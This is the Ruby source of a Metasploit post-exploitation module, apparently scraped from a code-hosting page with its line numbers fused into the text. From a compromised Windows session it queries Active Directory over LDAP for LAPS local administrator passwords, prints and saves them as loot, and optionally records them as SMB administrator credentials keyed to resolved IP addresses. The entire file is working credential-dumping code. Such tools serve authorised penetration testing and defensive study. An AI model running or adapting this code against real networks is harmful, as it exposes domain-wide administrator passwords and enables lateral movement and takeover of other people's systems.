Path: blob/master/modules/post/windows/gather/credentials/enum_laps.rb
23708 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::Windows::LDAP89FIELDS = [10'distinguishedName',11'dNSHostName',12'ms-MCS-AdmPwd',13'ms-MCS-AdmPwdExpirationTime'14].freeze1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Windows Gather Credentials Local Administrator Password Solution',21'Description' => %q{22This module will recover the LAPS (Local Administrator Password Solution) passwords,23configured in Active Directory, which is usually only accessible by privileged users.24Note that the local administrator account name is not stored in Active Directory,25so it is assumed to be 'Administrator' by default.26},27'License' => MSF_LICENSE,28'Author' => [29'Ben Campbell',30],31'Platform' => [ 'win' ],32'SessionTypes' => [ 'meterpreter' ],33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37},38'Compat' => {39'Meterpreter' => {40'Commands' => %w[41stdapi_net_resolve_hosts42]43}44},45'References' => [46[ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]47]48)49)5051register_options([52OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']),53OptBool.new('STORE_DB', [true, 'Store file in loot.', false]),54OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),55OptString.new('FILTER', [true, 'Search filter.', '(&(objectCategory=Computer)(ms-MCS-AdmPwd=*))'])56])5758deregister_options('FIELDS')59end6061def run62search_filter = datastore['FILTER']63max_search = datastore['MAX_SEARCH']6465begin66q = query(search_filter, max_search, FIELDS)67rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e68print_error(e.message)69return70end7172if q.nil? || q[:results].empty?73print_status('No results returned.')74else75print_status('Parsing results...')76results_table = parse_results(q[:results])77print_line results_table.to_s7879if datastore['STORE_LOOT']80stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv)81print_good("Results saved to: #{stored_path}")82end83end84end8586# Takes the results of LDAP query, parses them into a table87# and records and usernames as {Metasploit::Credential::Core}s in88# the database if datastore option STORE_DB is true.89#90# @param results [Array<Array<Hash>>] The LDAP query results to parse91# @return [Rex::Text::Table] the table containing all the result data92def parse_results(results)93laps_results = []94# Results table holds raw string data95results_table = Rex::Text::Table.new(96'Header' => 'Local Administrator Password Solution (LAPS) Results',97'Indent' => 1,98'SortIndex' => -1,99'Columns' => FIELDS100)101102results.each do |result|103row = []104105result.each do |field|106if field.nil?107row << ''108else109if field[:type] == :number110value = convert_windows_nt_time_format(field[:value])111else112value = field[:value]113end114row << value115end116end117118hostname = result[FIELDS.index('dNSHostName')][:value].downcase119password = result[FIELDS.index('ms-MCS-AdmPwd')][:value]120dn = result[FIELDS.index('distinguishedName')][:value]121expiration = convert_windows_nt_time_format(result[FIELDS.index('ms-MCS-AdmPwdExpirationTime')][:value])122123next if password.to_s.empty?124125results_table << row126laps_results << {127hostname: hostname,128password: password,129dn: dn,130expiration: expiration131}132end133134if datastore['STORE_DB']135print_status('Resolving IP addresses...')136hosts = []137laps_results.each do |h|138hosts << h[:hostname]139end140141resolve_results = client.net.resolve.resolve_hosts(hosts)142143# Match each IP to a host...144resolve_results.each do |r|145l = laps_results.find { |laps| laps[:hostname] == r[:hostname] }146l[:ip] = r[:ip]147end148149laps_results.each do |r|150next if r[:ip].to_s.empty?151next if r[:password].to_s.empty?152153store_creds(datastore['LOCAL_ADMIN_NAME'], r[:password], r[:ip])154end155end156157results_table158end159160def store_creds(username, password, ip)161service_data = {162address: ip,163port: 445,164service_name: 'smb',165protocol: 'tcp',166workspace_id: myworkspace_id167}168169credential_data = {170origin_type: :session,171session_id: session_db_id,172post_reference_name: refname,173username: username,174private_data: password,175private_type: :password176}177178credential_data.merge!(service_data)179180# Create the Metasploit::Credential::Core object181credential_core = create_credential(credential_data)182183# Assemble the options hash for creating the Metasploit::Credential::Login object184login_data = {185core: credential_core,186access_level: 'Administrator',187status: Metasploit::Model::Login::Status::UNTRIED188}189190# Merge in the service data and create our Login191login_data.merge!(service_data)192create_credential_login(login_data)193end194195# https://gist.github.com/nowhereman/189111196def convert_windows_nt_time_format(windows_time)197unix_time = windows_time.to_i / 10000000 - 11644473600198ruby_time = Time.at(unix_time)199ruby_time.strftime('%d/%m/%Y %H:%M:%S GMT %z')200end201end202203204